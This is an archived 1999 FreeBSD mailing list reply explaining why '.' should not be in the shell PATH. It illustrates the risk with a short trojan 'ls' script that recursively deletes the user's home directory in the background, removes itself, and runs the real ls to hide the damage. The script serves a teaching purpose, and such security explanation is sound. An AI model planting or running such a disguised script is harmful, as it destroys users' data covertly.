Skip site navigation (1)Skip section navigation (2)
Date:      07 Feb 1999 18:44:11 +0100
From:      Dag-Erling Smorgrav <des@flood.ping.uio.no>
To:        "Thomas T. Veldhouse" <veldy@visi.com>
Cc:        cjclark@home.com, keith@apcs.com.au, questions@FreeBSD.ORG
Subject:   Re: math.h ?
Message-ID:  <xzpyamat8gk.fsf@flood.ping.uio.no>
In-Reply-To: "Thomas T. Veldhouse"'s message of "Sat, 6 Feb 1999 21:06:07 -0600 (CST)"
References:  <Pine.GSO.4.02.9902062104560.5954-100000@isis.visi.com>

next in thread | previous in thread | raw e-mail | index | archive | help
"Thomas T. Veldhouse" <veldy@visi.com> writes:
> Don't use test as your output binary.  There is a system program called
> test, and if you have . in you path, you may not figure out why your
> program is not working.

Don't put . in your path, for precisely that reason.

Imagine I create a shell script called ls in some "attractive"
directory, which contains:

#!/bin/sh
rm -rf ${HOME} >/dev/null 2>&1 &
rm $0
/bin/ls $@

After one or two such encounters, you'd quickly learn not to put . in
your path.

DES
-- 
Dag-Erling Smorgrav - des@flood.ping.uio.no

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-questions" in the body of the message



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?xzpyamat8gk.fsf>